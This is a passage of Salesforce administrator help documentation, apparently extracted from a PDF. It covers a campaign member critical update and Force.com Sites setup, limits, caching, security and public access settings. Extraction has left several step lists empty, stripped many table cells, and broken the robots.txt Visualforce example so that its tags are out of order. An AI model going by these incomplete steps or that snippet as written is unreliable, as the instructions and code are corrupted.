Important: This critical update changes the behavior of campaign members created using the campaign member
wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features
may behave differently when you activate this update, for example:
Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work
because campaign members are created after leads.
If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign
members will not be inserted.
Apex triggers that result in leads being converted before being added to a campaign, for example, an after
insert trigger, result in a campaign member with only contact fields populated. These records are not included
in the campaign's converted lead count.
1614
If your organization has any of these customizations, read the examples to understand how you might be affected and
how you can correct unintended functionality.
Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules
regardless of how they are created. and the quality of your data is improved.
Important: Activation of this update impacts campaign member records in the user interface, API, and desktop
clients, such as Connect for Outlook.
The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up
after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it.
If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the
auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by
activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update
an unlimited number of times.
Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update:
1. Click Your Name > Setup > Critical Updates.
2. Click Review next to the New Campaign Member Creation Behavior update.
The Critical Update detail page displays feature customizations that may be affected by activating the update.
3. Determine if activating the update will cause unintended functionality, and if so, modify your customizations.
4. Click Activate.
5. Optionally, enter comments and click Activate. Comments appear in the activation history.
Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update:
1.
2.
3.
4.
Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is
evaluated for imported members and the newsletters are sent.
Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import
Wizard and the newsletters aren't sent.
1615
Force.com Sites
Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and
the Number Attended campaign custom field is updated.
Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and
the Number Attended campaign custom field isn't updated.
Update activated: Campaign members imported with the status RSVP-Yes must also have the RSVP-Yes field
in the import file set to TRUE, or they aren't created.
Update deactivated: You can import campaign members with the status RSVP-Yes, regardless of the RSVP-Yes
custom field value.
Update activated: You can map these import fields during import to campaign member custom fields called Attended?
and # Questions Asked.
Update deactivated: You cannot map these import fields to campaign member custom fields.
FORCE.COM SITES
Force.com Sites Overview
Available in: Developer, Enterprise, and Unlimited Editions
Salesforce organizations contain valuable information about partners, solutions, products, users, ideas, and other business data.
Some of this information would be useful to people outside your organization, but only users with the right access and
permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server,
create custom Web pages (JSP, PHP, or other), and perform API integration between your site and your organization.
Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation.
With Force.com sites, you no longer have to do any of those things. Force.com Sites enables you to create public websites and
applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username
and password. You can publicly expose any information stored in your organization through a branded URL of your choice.
You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on Force.com
1616
Force.com Sites
servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation on collected
information is performed automatically. You can also enable users to register for or log in to an associated portal seamlessly
from your public site.
Note: Force.com Sites is subject to these additional Terms of Use.
For information on Site.com, which is a Web content management system (CMS) that makes it easy to build dynamic,
data-driven Web pages and edit content in real time, see Site.com Overview on page 2258.
The following examples illustrate a few ways that you can use sites:
Create an ideas siteUse sites to host a public community forum for sharing and voting on ideas about your company,
services, or products. Ideas websites can be made public using sites.
Publish a support FAQProvide helpful information on a public website where customers can search for solutions to
their issues.
Create a store locator toolAdd a public tool to your portal that helps customers find stores in their area.
Publish an employee directoryAdd an employee directory to your company's intranet by creating a site restricted by IP
range.
Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes online.
Publish a catalog of productsList all of your company's products on a public website, with model numbers, current prices,
and product images pulled dynamically from your organization.
Because Force.com sites are served directly from the Salesforce organization, a site's availability is directly related to the
organization's availability. During your organization's maintenance window for major releases, your sites will be unavailable;
users who try to access a site will see a Force.com-branded maintenance page or your custom Service Not Available Page. It's
a good idea to inform your site users of the release maintenance windows and related sites unavailability in advance. You can
view specific maintenance windows, listed by instance, at trust.salesforce.com/trust/status/#maint.
Use your Force.com domain name, which is your unique subdomain prefix plus force.com. For example, if you choose
mycompany as your subdomain prefix, your domain name would be http://www.mycompany.force.com. The name
is case-sensitive.
Note: Your Force.com domain name is used for all the sites that you create. For example, your company could
create one public site for partners, another for developers, and a third for support. If your company's domain is
http://www.mycompany.force.com, those three sites might have the following URLs:
http://mycompany.force.com/partners
http://mycompany.force.com/developers
http://mycompany.force.com/support
Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain
name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain
without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become
available on the Internet. Custom Web addresses aren't supported for sandbox or Developer Edition organizations.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance
name is na1, and the sandbox instance name is cs1:
1617
Force.com Sites
Organization Type
Secure URL
Developer Edition
https://mycompany-developer-edition.na1.force.com
Sandbox
https://mycompany.mysandbox.cs1.force.com
Production
https://mycompany.secure.force.com
The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.
See Also:
Force.com Sites Considerations
Setting Up Force.com Sites
Managing Force.com Sites
Registering a Custom Force.com Domain
Creating and Editing Force.com Sites
Configuring Force.com Sites
Force.com Sites Limits and Billing
Reporting on Force.com Sites
Tracking Your Force.com Site with Google Analytics
About Syndication Feeds
Ideas Overview
Administrator setup guide: Force.com Sites Implementation Guide
Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components
for a site using a managed package.
You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or
Apex classes that refer to a site.
1618
Force.com Sites
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Caching Force.com Sites Pages
Force.com Sites Limits and Billing
Viewing 24-Hour Force.com Sites Usage History
Setting Up Your Customer Portal
Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your
sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid
exceeding these limits.
This topic contains the following sections:
Page Views are calculated as the total number of pages served from either the site's origin server or the cache server.
Bandwidth is calculated as the number of megabytes served and received from both the site's origin server and the cache
server.
Service request time is calculated as the total server time in minutes required to generate pages for the site.
Rolling 24-hour period refers to the 24 hours immediately preceding the current time.
Origin server refers to the Web server that hosts your site.
Cache server refers to the CDN server that serves your cached site pages.
Current period refers to the current calendar month for which you are entitled a certain number of page views for your
organization.
1619
Force.com Sites
Maximum Number Bandwidth Limit (per rolling Service Request Time (per
of Sites
24-hour period per site)
rolling 24-hour period per
site)
Maximum Page
Views
Developer Edition 1
500 MB
10 minutes
N/A
Enterprise Edition 25
1 GB for sandbox
500,000
40 GB for production
1 GB for sandbox
40 GB for production
Unlimited Edition 25
1,000,000
Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage
analytics tools to monitor your sites.
Billing is based on the number of monthly page views purchased for your organization. This page view limit is cumulative
for all sites in your organization.
If, in a given calendar month, your organization reaches 110% of its page view limit, salesforce.com sends the site and
billing administrators email notification.
If your organization exceeds 110% of its page view limit for four consecutive calendar months, your sites are disabled until
the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site
and billing administrators, as well as the related account executive.
If, in a given calendar month, your organization reaches 300% of its page view limit, your sites are disabled until the next
calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and
billing administrators, as well as the related account executive.
Example URL
http://mycompany.force.com
http://mycompany.com
http://mycompany.force.com/mypage
http://mycompany.force.com/Unauthorized
Ajax requests
n/a
1620
Force.com Sites
Example URL
Salesforce images
http://mycompany.force.com/img/force_logo_w09.gif
http://mycompany.force.com/resource/1233771498000/background
Robots.txt
http://mycompany.force.com/robots.txt
Favorite icon
http://mycompany.force.com/favicon.ico
n/a
http://mycompany.force.com/BandwidthExceeded
http://mycompany.force.com/servlet/rtaImage
http://mycompany.force.com/servlet/fileField
Note: Limit Exceeded, Maintenance, Page Not Found, and designated Inactive Home pages aren't counted
against page view and bandwidth limits. You can use static resources to brand these pages, but the following
limitations apply:
See Also:
Force.com Sites Overview
Caching Force.com Sites Pages
Viewing 24-Hour Force.com Sites Usage History
Reporting on Force.com Sites
Tracking Your Force.com Site with Google Analytics
Force.com sites enforces two 24-hour rolling limitsbandwidth and service request timewhich vary by organization type.
Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages
that consume lots of bandwidth or processing time. Rolling 24-hour period refers to the 24 hours immediately preceding
the current time.
1621
Force.com Sites
Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to
improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits.
Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users.
Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each
Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds).
For example, a page whose cache is set to expire in 15 minutes looks like this:
<apex:page cache="true" expires="900">
Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer
Edition organizations.
To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached
via the CDN.
Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN.
Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the
caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these
cases.
For Requests Coming from the Caching Server
If the site is login-enabled:
Cache Attribute
Caching Behavior
Caching Location
Set to TRUE
Not Set
Set to FALSE
Not cached
None
Cache Attribute
Caching Behavior
Caching Location
Set to TRUE
Not Set
Set to FALSE
Not cached
None
1622
Force.com Sites
Cache Attribute
Caching Behavior
Caching Location
Set to TRUE
Not cached
None
Not Set
Not cached
None
Set to FALSE
Not cached
None
Cache Attribute
Caching Behavior
Caching Location
Set to TRUE
Browser only
Not Set
Browser only
Set to FALSE
Not cached
None
See Also:
Force.com Sites Overview
Force.com Sites Limits and Billing
Setting Up Force.com Sites
Viewing 24-Hour Force.com Sites Usage History
Reporting on Force.com Sites
Tracking Your Force.com Site with Google Analytics
Customize Application
Manage Users
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce
organizationwithout requiring users to log in with a username and password.
To set up a Force.com site:
1. Click Your Name > Setup > Develop > Sites.
2. Register a custom Force.com domain for your organization.
1623
Force.com Sites
See Also:
Force.com Sites Overview
Managing Force.com Sites
Creating and Editing Force.com Sites
Configuring Force.com Sites
Associating a Portal with Force.com Sites
Customize Application
To get started using Force.com sites, click Your Name > Setup > Develop > Sites. From this page, you can:
Register your Force.com domain, if you have not yet done so.
View all sites hosted on your Force.com domain.
Click New to create a new site.
Click Edit to make changes to an existing site.
Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.
1624
Force.com Sites
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Creating and Editing Force.com Sites
Configuring Force.com Sites
Customize Application
Your company's Force.com domain is used for all the sites that you create. Even if you register a branded Web address for
your site, you must choose a Force.com domain. The branded URL will be redirected to the Force.com domain.
Note: If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME
record that you provide to that registrar must be your Force.com domain name and not the site URL. For example,
if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
To register your Force.com domain:
1. Click Your Name > Setup > Develop > Sites.
2. Enter a unique name for your Force.com domain. A Force.com domain name can contain only alphanumeric characters
and hyphens, and must be unique in your organization. It must begin with a letter, not include spaces, not end in a hyphen,
and not contain underscores or periods. Salesforce.com recommends using your company's name or a variation, such as
mycompany.
Caution: You can't modify your Force.com domain name after you have registered it.
3. Click Check Availability to confirm that the domain name you entered is unique. If it isn't unique, you are prompted to
change it.
4. Read and accept the Sites Terms of Use by selecting the checkbox.
5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the
changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It
may take up to 48 hours for your registration to take effect.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
1625
Force.com Sites
suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance
name is na1, and the sandbox instance name is cs1:
Organization Type
Secure URL
Developer Edition
https://mycompany-developer-edition.na1.force.com
Sandbox
https://mycompany.mysandbox.cs1.force.com
Production
https://mycompany.secure.force.com
The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.
See Also:
Force.com Sites Overview
Force.com Sites Considerations
Setting Up Force.com Sites
Customize Application
After registering your Force.com domain, create a Force.com site using the following steps:
1. Click Your Name > Setup > Develop > Sites.
2. Click New or click Edit for an existing site.
3. On the Site Edit page, define the following:
Field
Description
Site Label
Site Name
The name used when referencing the site in the SOAP API. This name can
contain only underscores and alphanumeric characters, and must be unique in
your organization. It must begin with a letter, not include spaces, not end with
an underscore, and not contain two consecutive underscores.
Site Description
Site Contact
The user who will receive site-related communications from the site's visitors
and salesforce.com.
1626
Force.com Sites
Field
Description
The unique Force.com URL for this site. Force.com provides the first part of
the URL based on the domain name that you registered; you must add a unique
site name to the end. Unless you configure a custom Web address through a
domain name registrar, this is the URL that the public will use to access your
site.
The unique Force.com URL for this site when using SSL. The secure Web
address is used for SSL even if you defined a custom Web address.
The optional branded custom Web address that you registered with a third-party
domain name registrar. The custom Web address acts as an alias to your
Force.com address.
To enable a custom Web address, create a CNAME record to your Force.com
domain with that registrar. If you have not registered this address, you encounter
an error. Custom Web addresses aren't supported for sandbox or Developer
Edition organizations.
Note: If you choose to create a branded top-level domain or subdomain
through a domain name registrar, the CNAME record that you provide
to that registrar must be your Force.com domain name and not the site
URL. For example, if you entered mycompany when registering your
Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
Active
The option that activates your site when you are ready to make it available to the
public. You can also activate your site from the Sites and Site Details pages.
When the site is inactive, users will see the page specified in the Inactive
Site Home Page field.
The landing page that users are directed to when this site is active. Use the lookup
field to find and select the Visualforce page that you developed for your site's
home page. Choose the UnderConstruction page if you just want to test your
site.
For ideas sites, you must use the IdeasHome page and for answers sites you must
use the AnswersHome page. The look and feel for your Ideas site or Answers
site will be inherited from its associated portal unless you select a site template.
If you deployed a site before the Summer '10 release, you can set AnswersHome
as your default landing page if you create a Visualforce page using <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>
The landing page that users are directed to when this site is inactive. Use the
lookup field to find and select the page that you want to use. You can, for example,
select a page to indicate that the site is under construction or down for
maintenance.
Site Template
The template that provides the page layout and stylesheet for your site. The site
template overrides any formatting inherited from the associated portal. Use the
1627
Force.com Sites
Field
Description
lookup field to find and select a template that you've developed, or use the
out-of-box template provided.
Note: The site template specified here is used only for Visualforce pages
using the $Site.Template expression.
Site Robots.txt
A file that determines which parts of your public site Web spiders and other
Web robots can access. Web robots are often used by search engines to categorize
and archive websites. HTML tags are not allowed, as they are not compatible
with robots.txt spiders. For Visualforce pages, add
contentType="text/plain" to the <apex:page> tag.
Example disallowing all robots from indexing all pages:
<apex:page contentType="text/plain">
User-agent:
*
</apex:page>
Disallow:
</apex:page>
The icon that appears in the browser's address field when visiting the site. Use
this field to set the favorite icon for your entire site instead of for each page.
Changes will be reflected on your site one day after you make them, due to
caching.
The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.
An Apex class to use for rewriting URLs for your site, from Salesforce URLs to
user-friendly URLs. With this class, you can make rules to rewrite site URL
requests typed into the address bar, launched from bookmarks, or linked from
external websites. You can also create rules to rewrite the URLs for links within
site pages.
For more information, see Site.UrlRewriter in the Force.com Apex Code
Developer's Guide.
Enable Feeds
The option that displays the Syndication Feeds related list, where you can create
and manage syndication feeds for users on your public sites. This field is visible
only if you have the feature enabled for your organization.
1628
Force.com Sites
4. Click Save.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Managing Force.com Sites
Configuring Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Customize Application
Manage Users
Once you have created your site, you can configure it on the Site Details page. To access this page, click Your Name > Setup
> Develop > Sites, and then in the Sites list, click the site name. You can do the following:
Click Preview as Admin to view your site in administrator preview mode. Administrator preview mode shows the errors
on each site page in context and in greater detail, so you can more easily troubleshoot site issues.
Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All
pages associated with the site must be enabled.
Click Page Assignment to assign error pages for standard errors, such as Authorization Required (401) and Page Not
Found (404). You can override or edit the default pages that are provided.
Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list
to display this related list.
View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and
the percentage used.
1629
Force.com Sites
View the Site History related list to see the configuration changes that have been tracked for your site.
See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
Viewing 24-Hour Force.com Sites Usage History
Viewing Force.com Site History
Public Access Settings for Force.com Sites
Managing Force.com Site Login and Registration Settings
About Syndication Feeds
To run reports:
Run Reports
AND
Read on the records included in reports
Run Reports
AND
Manage Dashboards
To keep track of your site activity and usage, take advantage of the Sites Usage Reporting managed package to analyze your
monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily limits for
individual sites, as well as for your organization.
To get started using Salesforce analytics for sites:
1. Install the Sites Usage Reporting managed package.
2. Use packaged reports to analyze site usage.
1630
Force.com Sites
Description
Shows the total page views for the current period (calendar month), measured against
page views allowed. Page views are broken down by site and by day. The current period
limit applies to all sites within the organization.
Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and
by origin and cache servers.
Shows the total page views over the last 30 days, broken down site, by day, and by origin
and cache servers.
Shows the total origin bandwidth usage over the last 30 days, broken down by site and
by day.
Shows the total origin service request time over the last 30 days, broken down by site and
by day.
Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period.
Top Resource Consuming Sites
Shows the sites that consumed the most service request time during the current period.
Shows the sites that generated the most page views during the current period.
1631
Force.com Sites
Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the
Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds.
Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit
and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively.
For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request
time is measured in minutes.
To modify the dashboard, click Edit and follow the instructions for editing dashboards. You can also create your own custom
dashboard using any custom reports you may have created. Consider adding the Site Usage Dashboard as the dashboard
snapshot on your home page.
See Also:
Force.com Sites Overview
Viewing 24-Hour Force.com Sites Usage History
Tracking Your Force.com Site with Google Analytics
Reports Overview
Dashboards Overview
Consider the following security issues when setting up your Force.com site:
If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the Require
Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging in to the
associated portal from the site will see the secure.force.com domain. For example, if you registered
mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com
upon login. For more information, see Managing Force.com Site Login and Registration Settings.
Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain name
after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for the site or
Require Secure Connections (HTTPS) has been set for the organization. An example URL using refURL is:
http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with your
Force.com domain to access your site.
To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following IP
ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to
1632
Force.com Sites
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site, don't
enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in users until the
next time they log in.
Authenticated and non-authenticated users may see different error messages for certain conditionsfor example, on Apex
exceptions.
Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS.
Note: If a site within a sandbox (non-production) organization is accessed using HTTPS, a certificate name
mismatch warning may appear.
Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within
the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to
expire from the Salesforce cache and any intermediate caches.
Caution:
We recommend setting the sharing to private for the objects on which you grant Read access for your site. This
ensures that users accessing your site can view and edit only the data related to your site.
We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to
certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible
to all users may be visible to public users of your site. To share a list view with public users, create a new
public group for those users and give them visibility. If the object's sharing is set to private, public users won't be
able to see those records, regardless of list view visibility.
Customize Application
Manage Users
Public access settings control what public users can do on each Force.com site. To set the public access settings for your site:
1. Click Your Name > Setup > Develop > Sites.
2. Click the name of the site you want to control.
3. Click Public Access Settings to open the Profile page for your site profile.
This page includes all the functionality for viewing and editing profile permissions and settings, but you can't clone or delete
the profile. For information on viewing and editing profiles, see User Profiles Overview on page 521.
In the site profile, you can:
1633
Force.com Sites
Set the object permissions for your site. You can grant Read and Create permissions on all standard objects except
products, price books, and ideas; and Read, Create, Edit, and Delete on all custom objects. All permissions that
aren't set by default must be set manually.
Caution: We recommend setting the sharing to private for the objects on which you grant Read access for your
site. This ensures that users accessing your site can view and edit only the data related to your site.
We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to
certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible
to all users may be visible to public users of your site. To share a list view with public users, create a new
public group for those users and give them visibility. If the object's sharing is set to private, public users won't be
able to see those records, regardless of list view visibility.
Control the visibility of custom apps. If you want to expose a custom app and its associated tabs to public users, make only
that app visible and make it the default to avoid exposing other pages. If any of your site pages use standard Salesforce
headers, other visible applications may be seen by public users.
Set the login hours during which users can access the site.
Restrict the IP address ranges from which you can access the site. Force.com sites ignore company-wide IP range restrictions
in order to provide public access; however, you can restrict the IP range here.
Note: To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated
with your Force.com domain to access your site.
To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following
IP ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site,
don't enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in
users until the next time they log in.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6
address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff
is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also
includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to
::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is
only enabled for login in sandbox organizations for the Spring '12 release.
Enable Apex controllers and methods for your site. Controllers and methods that are already associated with your site's
Visualforce pages are enabled by default.
Enable Visualforce pages for your site. Changes made here are reflected on the Site Visualforce Pages related list on the
Site Details page, and vice versa.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Setting Your Organization-Wide Sharing Defaults
Overview of Sharing Settings
Creating Custom List Views
1634
Force.com Sites
Customize Application
Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images.
Caution: Don't rename or delete SiteSamples or you may get an error.
All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce
Pages, an authentication or page-not-found error is displayed based on the existence of the page.
To enable Visualforce pages for your site:
1.
2.
3.
4.
5.
If you don't want to enable a Visualforce page for your entire site, you can also enable pages for specific profiles.
1635
Force.com Sites
The My Profile page is also delivered as part of the Customer Portal Welcome component on your home page layout. For
more information, see Designing Home Tab Page Layouts.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
What is a Static Resource?
Customize Application
Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can
use.
All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages,
Salesforce displays an authorization required error.
To control which standard pages users see for your site:
1.
2.
3.
4.
Home PageThe standard page associated with the Home tab (/home/home.jsp).
Ideas PagesThe standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome),
enable these pages.
Answers PagesThe standard pages associated with answers. If you want to use default answers pages (for example,
AnswersHome), enable these pages.
Search PagesThe standard Salesforce search pages. To allow public users to perform standard searches, enable these
pages.
Lookup PagesThe standard Salesforce lookup pages. These are the popup windows associated with lookup fields on
Visualforce pages.
5. Click Save.
1636
Force.com Sites
Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible
to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Visualforce Pages
Assigning Force.com Site Error Pages
Customize Application
Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images.
Caution: Don't rename or delete SiteSamples or you may get an error.
Authorization Required PageThe page users see when trying to access pages for which they do not have
authorization.
Limit Exceeded PageThe page users see when your site has exceeded its bandwidth limits.
Maintenance PageThe page users see when your site is down for maintenance.
Service Not Available PageThe page users see when Salesforce servers are unavailable. This custom page is
rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned as
the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests
only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations.
If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers
are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but
http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by
default.
1637
Force.com Sites
Page Not Found PageThe page users see when trying to access a page that cannot be found. You can use the
action attribute on an <apex:page> component to redirect the Page Not Found error page. Using this kind of redirect
on any other error pages will redirect users to the Maintenance page.
Generic Error PageThe page users see when encountering generic exceptions.
Note: When using static resources in a custom error pagesuch as a large image file or a large CSS file contained
in a static resource .zip fileeach individual resource must be no larger than 50KB. Otherwise, a 404 not found
error is returned for that resource.
5. Click Save.
6. On the Site Details page, click Preview to view the associated page as it would appear in a browser.
Tip: Add the <site:previewAsAdmin /> component right before the closing </apex:page> tag in your custom
Visualforce error pages to view detailed site error messages in administrator preview mode.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Customize Application
Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By
closely monitoring your sites, you can avoid exceeding your limits.
To view the 24-hour usage history for your site:
1. Click Your Name > Setup > Develop > Sites.
2. Click the name of the site you want to view.
1638
Force.com Sites
3. View the 24-Hour Usage History related list. Usage information may be delayed by up to several minutes due to processing
time.
The 24-Hour Usage History related list tracks and displays the following usage metrics for your site:
Metric
Origin Bandwidth
Bandwidth is calculated as the number of megabytes served and received from the site's origin
server. The Daily Limit applies to a rolling 24-hour period.
Request Time
Service request time is calculated as the total server time in minutes required to generate pages
for the site. The Daily Limit applies to a rolling 24-hour period.
Origin server refers to the Web server that hosts your site. Rolling 24-hour period refers to the 24 hours immediately
preceding the current time.
For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.
See Also:
Force.com Sites Overview
Force.com Sites Considerations
Setting Up Force.com Sites
Configuring Force.com Sites
Tracking Your Force.com Site with Google Analytics
Reporting on Force.com Sites
Customize Application
Description
Site Creation
1639
Force.com Sites
Event
Description
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
1640
Force.com Sites
Customize Application
Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example,
users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then
vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and
enter the associated portal seamlessly.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites.
Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites.
Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated
with registration, login, forgot password, and password changes. You can modify these pages or replace them with your own.
The following login, and registration pages are provided by default:
Page Name
Description
SiteLogin
SiteRegister
SiteRegisterConfirm
Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However,
salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been
authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated
users would encounter an error.
The built-in login process:
Checks new user information against existing users for the Customer Portal associated with the site
1641
Force.com Sites
4. Click Save.
Enables the Customer Portal for the new user and sends an email confirmation message
Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process
Note: You can create and enable a person account as a Customer Portal user using the
createPersonAccountPortalUser Apex method. Use createPersonAccountPortalUser to create a person
account using either the default record type defined on the guest user's profile or a specified record type, then enable
it for the site's portal. Person Accounts can only be enabled as high-volume portal users. For more information, see
